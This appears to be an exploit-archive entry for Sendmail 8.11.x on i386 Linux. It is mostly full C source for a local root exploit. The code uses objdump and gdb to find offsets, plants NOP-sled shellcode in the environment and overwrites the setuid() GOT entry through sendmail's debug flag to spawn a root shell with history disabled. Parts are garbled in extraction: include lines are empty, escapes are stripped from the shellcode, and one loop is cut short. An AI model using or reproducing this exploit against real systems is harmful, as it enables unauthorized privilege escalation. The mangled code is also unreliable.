Summary
The following exploit code will try exploiting a Sendmail security vulnerability. The exploit code itself will try to determine the needed offset by using GDB.
Vulnerable systems:
* Sendmail version 8.11.x
Exploit:
/*
* sendmail 8.11.x exploit (i386-Linux) by sd@sf.cz (sd@ircnet)
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* fixed by Marcin Bukowski
*
* I'll change, and fix this code requested by friend
* for him
*
* -d specify depth of analysis (32) [bigger = more time]
* -o change offset (-32000) [between 1000..-64000]
* -v specify victim (/usr/sbin/sendmail) [suided binary]
* -t specify temp directory (/tmp/.s11x)
*
* simply try to run an exploit without parameters
* ---------------------------------------------------------------
*
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SM "/usr/sbin/sendmail"
#define OBJDUMP "objdump"
#define GDB "gdb"
#define GREP "grep"
#define COPYCMD "/bin/cp"
#define RMCMD "/bin/rm"
#define OURDIR "/tmp/.s11x"
#define DLINE
"%s -d %s 2> /dev/null | %s -B %d
"mov.*%%.l,(%%e..,%%e..,1)" |
%s ".mov.*0x80.*,%%e..""
#define DLINEA OBJDUMP, vict, GREP, depth, GREP
#define BRUTE_DLINE
"%s -d %s 2> /dev/null | %s
".mov.*0x80.*,%%e..""
#define BRUTE_DLINEA OBJDUMP, vict, GREP
#define NOPLEN 32768
#define NOP 0x90
char shellcode[] =
"xebx0cx5bx31xc0x50x89xe1x89"
"xe2xb0x0bxcdx80xe8xefxffxffxff";
char scode[512];
char dvict[] = SM;
struct target {
uint off;
uint brk;
uint vect;
};
unsigned int get_esp() {
__asm__("movl %esp,%eax");
}
char ourdir[256] = OURDIR;
void giveup(int i) {
char buf[256];
sprintf(buf, "%s -rf %s > /dev/null 2> /dev/null",
RMCMD, ourdir);
system(buf);
// printf("[*] removing temp directory - %s
",
// ourdir);
if (i >= 0) exit(i);
}
void sploit(char *victim, uint got, uint vect, uint ret) {
unsigned char egg[sizeof(scode) + NOPLEN + 5];
char s[512] = "-d";
char *argv[3];
char *envp[2];
uint first, last, i;
strcpy(egg, "EGG=");
memset(egg + 4, NOP, NOPLEN);
strcpy(egg + 4 + NOPLEN, scode);
last = first = -vect - (0xffffffff - got + 1);
while (ret) {
char tmp[256];
i = ret & 0xff;
sprintf(tmp, "%u-%u.%u-", first, last, i);
strcat(s, tmp);
last = ++first;
ret = ret >> 8;
}
s[strlen(s) - 1] = 0;
argv[0] = victim;
argv[1] = s;
argv[2] = NULL;
envp[0] = egg;
envp[1] = NULL;
execve(victim, argv, envp);
}
int use(char *s) {
printf("
%s [command] [options]
"
"-h this help
"
"-d specify depth of analysis (32)
"
"-o change offset (-32000)
"
"-v specify victim (/usr/sbin/sendmail)
"
"-t specify temp directory (/tmp/.s11x)
"
"-b enables bruteforce (it can take 20-30 mins)
", s);
return 1;
}
int exploited = 0;
void sigusr(int i) {
exploited++;
giveup(-1);
}
int main(int argc, char *argv[]) {
char victim[256] = SM;
char vict[256],gscr[256],
path[256],d[256],buf[256];
struct stat st;
FILE *f;
struct target t[1024];
uint off,ep,l;
int i,j,got,esp;
int offset = -16384;
int depth = 32;
int brute = 0;
if (!*argv) {
dup2(2, 0);
dup2(2, 1);
setuid(0);
setgid(0);
kill(getppid(), SIGUSR1);
printf(
"------(*)>+== "
"ENTERING ROOT SHELL"
" ==+<(*)------"
);
fflush(stdout);
chdir("/");
setenv("PATH",
"/bin:/usr/bin:/usr/local/bin:"
"/sbin:/usr/sbin:/usr/local/sbin:"
"/opt/bin:${PATH}",1);
setenv("BASH_HISTORY",
"/dev/null", 1);
execl("/bin/bash", "-bash", NULL);
}
printf(
" ------------------------------------------------
"
" Sendmail 8.11.x linux i386 exploit
"
" wroten by sd@sf.cz [sd@ircnet],
"
" fixed by insect@insect.hack.pl
"
" ------------------------------------------------
"
" type "%s -h" to get help
",argv[0]
);
while ((i=getopt(argc,argv,"hd:o:v:t:b"))!=EOF){
switch (i) {
case 'd':
if ((!optarg)||(sscanf(optarg,"%d",&depth)!=1))
return use(argv[0]);
break;
case 'o':
if ((!optarg)||(sscanf(optarg,"%d",&offset)!=1))
return use(argv[0]);
break;
case 'v':
if (!optarg)
return use(argv[0]);
strcpy(victim,optarg);
break;
case 't':
if (!optarg)
return use(argv[0]);
strcpy(ourdir, optarg);
break;
case 'b':
brute++;
break;
case 'h':
default:
return use(argv[0]);
}
}
if (brute)
printf(
"[*] brute force "
"to 20-30mins
");
path[0] = 0;
if (argv[0][0] != '/') {
getcwd(path, 256);
}
sprintf(scode, "%s%s/%s",
shellcode, path, argv[0]);
esp = get_esp();
close(0);
signal(SIGUSR1, sigusr);
giveup(-1);
printf(
" [Victim=%s][Depth=%d][Offset=%d]
"
" [Temp=%s][Offset=%d][ESP=0x%08x]
",
victim, depth, offset, ourdir, esp
);
stat(victim, &st);
if ((st.st_mode & S_ISUID) == 0) {
printf("[!] Error: %s doesn't have SUID mode
",
victim);
}
if (access(victim, R_OK + X_OK + F_OK) < 0) {
printf("[!] Error: %s must exist, have mode +rx
",
victim);
}
if (mkdir(ourdir, 0777) < 0) {
perror("[!] Error: creating temporary directory
");
giveup(1);
}
//printf("[*] creating temp directory - %s
",
// ourdir);
sprintf(buf, "%s -R %s | %s setuid",
OBJDUMP, victim, GREP);
f = popen(buf, "r");
if (fscanf(f, "%x", &got) != 1) {
pclose(f);
printf("[!] Error: cannot get "
"setuid() GOT
");
giveup(1);
}
pclose(f);
printf("[*] --> Step 1. setuid() "
"[got=0x%08x]
", got);
sprintf(vict, "%s/sm", ourdir);
printf("[*] --> Step 2. copy "
"[%s->%s]
", victim, vict);
fflush(stdout);
sprintf(buf, "%s -f %s %s",
COPYCMD, victim, vict);
system(buf);
if (access(vict,R_OK+X_OK+F_OK)<0){
printf(
"[!] Error: copy victim to out temp
");
giveup(1);
}
printf(
"[*] --> Step 3. disassm our "
"[%s]
", vict);
fflush(stdout);
if (!brute) {
sprintf(buf,DLINE,DLINEA);
} else {
sprintf(buf,BRUTE_DLINE,BRUTE_DLINEA);
}
f = popen(buf, "r");
i = 0;
while (fgets(buf,256,f)) {
int k, dontadd=0;
if (sscanf(buf,
"%x: %s %s %s %s %s %s 0x%x,%s
",
&ep,d,d,d,d,d,d,&off,d)==9){
for (k=0;k
if (t[k].off==off)
dontadd++;
}
if (!dontadd) {
t[i].off = off;
t[i++].brk = ep;
}
}
}
pclose(f);
sprintf(gscr, "%s/gdb", ourdir);
off = 0;
for (j=0; j < i; j++) {
f = fopen(gscr, "w+");
if (!f) {
printf("[!] Error: Cannot create gdb script
");
giveup(1);
}
fprintf(f,
"break *0x%x
r -d1-1.1
x/x 0x%x
",
t[j].brk, t[j].off);
fclose(f);
sprintf(buf,
"%s -batch -x %s %s 2> /dev/null",
GDB, gscr, vict);
f = popen(buf, "r");
if (!f) {
printf("[!] Error: Failed to spawn gdb!
");
giveup(1);
}
while (1) {
char buf[256];
char *p;
t[j].vect = 0;
p = fgets(buf, 256, f);
if (!p) break;
if (sscanf(p,"0x%x %s 0x%x",&ep,d,&l)==3){
t[j].vect = l;
off++;
break;
}
}
pclose(f);
if (t[j].vect) {
int pid;
printf(" ++[%d/%d](%d%%) "
"GOT=0x%08x,VECT=0x%08x,"
"OFF=%d
", j, i, j*100/i,
got, t[j].vect, offset);
fflush(stdout);
pid = fork();
if (pid == 0) {
close(1);
sploit(victim,got,t[j].vect,esp+offset);
}
wait(NULL);
if (exploited) {
wait(NULL);
printf(" [-*-] We rule! BYE! [-*-]
");
exit(0);
}
}
}
printf(
"[!] ERROR: all targets failed,"
"probably not buggie
");
giveup(1);
} |